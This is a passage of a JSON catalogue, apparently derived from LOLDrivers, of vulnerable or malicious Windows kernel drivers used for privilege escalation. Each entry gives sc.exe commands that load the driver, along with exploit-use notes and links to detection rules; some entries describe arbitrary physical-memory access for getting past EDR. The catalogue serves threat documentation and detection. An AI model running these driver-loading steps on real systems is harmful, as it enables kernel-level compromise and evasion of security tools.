    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create wantd_6.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\wantd_6.sys type=kernel && sc.exe start wantd_6.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver wantd_6.sys\"\n\n# wantd_6.sys\n\nDriver used in the Daxin malware campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wantd-6.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver used in the Daxin malware campaign.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/e7af7bcb86bd6bab1835f610671c3921441965a839673ac34444cf0ce7b2164e.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_mal_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create wantd_6.sys binPath=C:\\windows\\temp\\wantd_6.sys type=kernel && sc.exe start wantd_6.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-wantd-6",
    "install": [
      {
        "method": "custom",
        "description": "Load wantd_6.sys kernel driver",
        "commands": [
          "sc.exe create wantd_6.sys binPath=C:\\windows\\temp\\wantd_6.sys type=kernel && sc.exe start wantd_6.sys"
        ]
      }
    ],
    "name": "wantd_6.sys",
    "namespace": "windows:kernel:wantd-6",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/MHaggis/9ab3bb795a6018d70fb11fa7c31f8f48"
      },
      {
        "label": "Reference",
        "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/daxin-backdoor-espionage"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create watabe binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\watabe.sys type=kernel && sc.exe start watabe\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver watabe.sys\"\n\n# watabe.sys\n\nwatabe.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-watabe.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "watabe.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create watabe binPath=C:\\windows\\temp\\watabe.sys type=kernel && sc.exe start watabe",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-watabe",
    "install": [
      {
        "method": "custom",
        "description": "Load watabe.sys kernel driver",
        "commands": [
          "sc.exe create watabe binPath=C:\\windows\\temp\\watabe.sys type=kernel && sc.exe start watabe"
        ]
      }
    ],
    "name": "watabe.sys",
    "namespace": "windows:kernel:watabe",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WCPU.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WCPU.sys type=kernel && sc.exe start WCPU.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WCPU.sys\"\n\n# WCPU.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wcpu.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/159e7c5a12157af92e0d14a0d3ea116f91c09e21a9831486e6dc592c93c10980.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create WCPU.sys binPath=C:\\windows\\temp\\WCPU.sys type=kernel && sc.exe start WCPU.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "requires-root"
    ],
    "id": "windows-kernel-wcpu",
    "install": [
      {
        "method": "custom",
        "description": "Load WCPU.sys kernel driver",
        "commands": [
          "sc.exe create WCPU.sys binPath=C:\\windows\\temp\\WCPU.sys type=kernel && sc.exe start WCPU.sys"
        ]
      }
    ],
    "name": "WCPU.sys",
    "namespace": "windows:kernel:wcpu",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create wdisvhost binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\wdisvhost.sys type=kernel && sc.exe start wdisvhost\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver wdisvhost.sys\"\n\n# wdisvhost.sys\n\nwdisvhost.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wdisvhost.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "wdisvhost.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create wdisvhost binPath=C:\\windows\\temp\\wdisvhost.sys type=kernel && sc.exe start wdisvhost",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-wdisvhost",
    "install": [
      {
        "method": "custom",
        "description": "Load wdisvhost.sys kernel driver",
        "commands": [
          "sc.exe create wdisvhost binPath=C:\\windows\\temp\\wdisvhost.sys type=kernel && sc.exe start wdisvhost"
        ]
      }
    ],
    "name": "wdisvhost.sys",
    "namespace": "windows:kernel:wdisvhost",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create WDTKernel binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\WDTKernel.sys type=kernel && sc.exe start WDTKernel\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver WDTKernel.sys\"\n\n# WDTKernel.sys\n\nWDTKernel.sys is a Dell Watchdog Timer Kernel Driver that exposes 12 IOCTLs for arbitrary physical memory read/write via MmMapIoSpace with zero validation on user-supplied physical addresses. It also provides 12 IOCTLs for unrestricted I/O port access and 2 IOCTLs for PCI configuration space access. The driver was WHQL attestation signed through Microsoft and is distributed via the Microsoft Update Catalog. VMware Carbon Black TAU mentioned this driver in their October 2023 research but classified it as not vulnerable in terms of access control because its INF sets an SDDL restricting device access to Administrators and SYSTEM. The arbitrary physical memory R/W via MmMapIoSpace was not analyzed or documented by TAU. Device path is \\\\.\\__WDT__. Suitable for BYOVD attacks where the attacker already has admin privileges and needs kernel-level memory access to bypass EDR.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wdtkernel.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "WDTKernel.sys is a Dell Watchdog Timer Kernel Driver that exposes 12 IOCTLs for arbitrary physical memory read/write via MmMapIoSpace with zero validation on user-supplied physical addresses. It also provides 12 IOCTLs for unrestricted I/O port access and 2 IOCTLs for PCI configuration space access. The driver was WHQL attestation signed through Microsoft and is distributed via the Microsoft Update Catalog. VMware Carbon Black TAU mentioned this driver in their October 2023 research but class...",
    "execution": {
      "template": "sc.exe create WDTKernel binPath=C:\\windows\\temp\\WDTKernel.sys type=kernel && sc.exe start WDTKernel",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root",
      "streaming"
    ],
    "id": "windows-kernel-wdtkernel",
    "install": [
      {
        "method": "custom",
        "description": "Load WDTKernel.sys kernel driver",
        "commands": [
          "sc.exe create WDTKernel binPath=C:\\windows\\temp\\WDTKernel.sys type=kernel && sc.exe start WDTKernel"
        ]
      }
    ],
    "name": "WDTKernel.sys",
    "namespace": "windows:kernel:wdtkernel",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/290"
      },
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create wfshbr64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\wfshbr64.sys type=kernel && sc.exe start wfshbr64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver wfshbr64.sys\"\n\n# wfshbr64.sys\n\nwfshbr64.sys and wfshbr32.sys specially crafted payload allows arbitrary user to perform bitwise operation with arbitrary EPROCESS offset and flags value to purposely elevate the game process to CodeGen Full protection by manipulating EPROCESS.Protection and EPROCESS.SignatureLevel flags (security hole as a feature).\n\nThe driver is signed by Microsoft hardware compatibility publisher that is submitted via Microsoft Hardware Program.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-wfshbr64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "wfshbr64.sys and wfshbr32.sys specially crafted payload allows arbitrary user to perform bitwise operation with arbitrary EPROCESS offset and flags value to purposely elevate the game process to CodeGen Full protection by manipulating EPROCESS.Protection and EPROCESS.SignatureLevel flags (security hole as a feature).\nThe driver is signed by Microsoft hardware compatibility publisher that is submitted via Microsoft Hardware Program.",
    "execution": {
      "template": "sc.exe create wfshbr64.sys binPath=C:\\windows\\temp\\wfshbr64.sys type=kernel && sc.exe start wfshbr64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-wfshbr64",
    "install": [
      {
        "method": "custom",
        "description": "Load wfshbr64.sys kernel driver",
        "commands": [
          "sc.exe create wfshbr64.sys binPath=C:\\windows\\temp\\wfshbr64.sys type=kernel && sc.exe start wfshbr64.sys"
        ]
      }
    ],
    "name": "wfshbr64.sys",
    "namespace": "windows:kernel:wfshbr64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/kkent030315/CVE-2022-42046"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create whql binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\whql.sys type=kernel && sc.exe start whql\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver whql.sys\"\n\n# whql.sys\n\nwhql.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-whql.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "whql.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create whql binPath=C:\\windows\\temp\\whql.sys type=kernel && sc.exe start whql",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-whql",
    "install": [
      {
        "method": "custom",
        "description": "Load whql.sys kernel driver",
        "commands": [
          "sc.exe create whql binPath=C:\\windows\\temp\\whql.sys type=kernel && sc.exe start whql"
        ]
      }
    ],
    "name": "whql.sys",
    "namespace": "windows:kernel:whql",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create windbg.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\windbg.sys type=kernel && sc.exe start windbg.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver windbg.sys\"\n\n# windbg.sys\n\nKernel driver seen in a recent CopperStealer campaign.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-windbg.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Kernel driver seen in a recent CopperStealer campaign.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/e1cb86386757b947b39086cc8639da988f6e8018ca9995dd669bdc03c8d39d7d.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/fa9abb3e7e06f857be191a1e049dd37642ec41fb2520c105df2227fcac3de5d5.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/06c5ebd0371342d18bc81a96f5e5ce28de64101e3c2fd0161d0b54d8368d2f1f.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_mal_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create windbg.sys binPath=C:\\windows\\temp\\windbg.sys type=kernel && sc.exe start windbg.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-windbg",
    "install": [
      {
        "method": "custom",
        "description": "Load windbg.sys kernel driver",
        "commands": [
          "sc.exe create windbg.sys binPath=C:\\windows\\temp\\windbg.sys type=kernel && sc.exe start windbg.sys"
        ]
      }
    ],
    "name": "windbg.sys",
    "namespace": "windows:kernel:windbg",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.proofpoint.com/us/blog/threat-insight/now-you-see-it-now-you-dont-copperstealer-performs-widespread-theft"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/jaydinbas/status/1642898531445886978?s=20"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/jaydinbas/status/1646475092006785027?s=20"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create windivert.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\windivert.sys type=kernel && sc.exe start windivert.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver windivert.sys\"\n\n# windivert.sys\n\nWinDivert is a user-mode packet capture and network packet manipulation utility designed for Windows. It provides a powerful and flexible framework for intercepting, modifying, injecting, and dropping network packets at the network stack level. It operates as a lightweight, high-performance driver that interfaces directly with the network stack, allowing for detailed packet inspection and manipulation in real time.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-windivert.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "WinDivert is a user-mode packet capture and network packet manipulation utility designed for Windows. It provides a powerful and flexible framework for intercepting, modifying, injecting, and dropping network packets at the network stack level. It operates as a lightweight, high-performance driver that interfaces directly with the network stack, allowing for detailed packet inspection and manipulation in real time.",
    "execution": {
      "template": "sc.exe create windivert.sys binPath=C:\\windows\\temp\\windivert.sys type=kernel && sc.exe start windivert.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdout",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-windivert",
    "install": [
      {
        "method": "custom",
        "description": "Load windivert.sys kernel driver",
        "commands": [
          "sc.exe create windivert.sys binPath=C:\\windows\\temp\\windivert.sys type=kernel && sc.exe start windivert.sys"
        ]
      }
    ],
    "name": "windivert.sys",
    "namespace": "windows:kernel:windivert",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.3nailsinfosec.com/post/edrprison-borrow-a-legitimate-driver-to-mute-edr-agent"
      },
      {
        "label": "Reference",
        "url": "https://github.com/basil00/WinDivert"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Windows_CPU_Temperature_Component binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Windows_CPU_Temperature_Component.sys type=kernel && sc.exe start Windows_CPU_Temperature_Component\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Windows_CPU_Temperature_Component.sys\"\n\n# Windows_CPU_Temperature_Component.sys\n\nWindows_CPU_Temperature_Component.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-windows-cpu-temperature-component.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Windows_CPU_Temperature_Component.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create Windows_CPU_Temperature_Component binPath=C:\\windows\\temp\\Windows_CPU_Temperature_Component.sys type=kernel && sc.exe start Windows_CPU_Temperature_Component",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-windows-cpu-temperature-component",
    "install": [
      {
        "method": "custom",
        "description": "Load Windows_CPU_Temperature_Component.sys kernel driver",
        "commands": [
          "sc.exe create Windows_CPU_Temperature_Component binPath=C:\\windows\\temp\\Windows_CPU_Temperature_Component.sys type=kernel && sc.exe start Windows_CPU_Temperature_Component"
        ]
      }
    ],
    "name": "Windows_CPU_Temperature_Component.sys",
    "namespace": "windows:kernel:windows-cpu-temperature-component",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Windows-Memory-Informer binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Windows-Memory-Informer.sys type=kernel && sc.exe start Windows-Memory-Informer\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Windows-Memory-Informer.sys\"\n\n# Windows-Memory-Informer.sys\n\nWindows-Memory-Informer.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-windows-memory-informer.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Windows-Memory-Informer.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create Windows-Memory-Informer binPath=C:\\windows\\temp\\Windows-Memory-Informer.sys type=kernel && sc.exe start Windows-Memory-Informer",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-windows-memory-informer",
    "install": [
      {
        "method": "custom",
        "description": "Load Windows-Memory-Informer.sys kernel driver",
        "commands": [
          "sc.exe create Windows-Memory-Informer binPath=C:\\windows\\temp\\Windows-Memory-Informer.sys type=kernel && sc.exe start Windows-Memory-Informer"
        ]
      }
    ],
    "name": "Windows-Memory-Informer.sys",
    "namespace": "windows:kernel:windows-memory-informer",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create windows-xp-64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\windows-xp-64.sys     type=kernel type=kernel && sc.exe start windows-xp-64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver windows-xp-64.sys\"\n\n# windows-xp-64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-windows-xp-64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create windows-xp-64.sys binPath=C:\\windows\\temp\\windows-xp-64.sys     type=kernel type=kernel && sc.exe start windows-xp-64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-windows-xp-64",
    "install": [
      {
        "method": "custom",
        "description": "Load windows-xp-64.sys kernel driver",
        "commands": [
          "sc.exe create windows-xp-64.sys binPath=C:\\windows\\temp\\windows-xp-64.sys     type=kernel type=kernel && sc.exe start windows-xp-64.sys"
        ]
      }
    ],
    "name": "windows-xp-64.sys",
    "namespace": "windows:kernel:windows-xp-64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create windows7-32.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\windows7-32.sys     type=kernel type=kernel && sc.exe start windows7-32.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver windows7-32.sys\"\n\n# windows7-32.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-windows7-32.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
